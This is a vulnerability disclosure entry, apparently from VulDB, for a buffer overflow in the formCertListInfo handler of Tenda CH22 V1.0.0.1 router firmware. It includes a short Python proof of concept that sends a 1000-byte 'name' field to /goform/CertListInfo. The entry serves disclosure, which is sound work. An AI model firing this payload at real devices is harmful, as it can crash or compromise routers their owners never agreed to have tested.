| Titel | Tenda CH22 V1.0.0.1 Buffer Overflow |
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| Beschreibung | ## Overview
- Firmware download website: https://www.tenda.com.cn/download/2230
## Affected version
CH22 V1.0.0.1
## Vulnerability details
The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `formCertListInfo` function. The `V12` variable receives the `name` parameter from a POST request and is later passed to the `sprintf` function. However, since the user can control the input of `name` , the statement `sprintf(s, "/etc/cert/%s", v12);` can cause a buffer overflow.
##PoC
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/CertListInfo'
payload = b'a' * 1000
data = {
'name':payload
}
requests.post(url, data=data) |
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| Quelle | ⚠️ https://candle-throne-f75.notion.site/Tenda-CH22-formCertListInfo-377df0aa11858088aabaeb0f5e1909c9 |
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| Benutzer | ysnysn0121 (UID 86198) |
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| Einreichung | 10.06.2026 15:17 (vor 1 Monat) |
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| Moderieren | 12.07.2026 20:14 (1 month later) |
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| Status | Akzeptiert |
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| VulDB Eintrag | 377893 [Tenda CH22 1.0.0.1 /goform/CertListInfo formCertListInfo Name Pufferüberlauf] |
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| Punkte | 17 |
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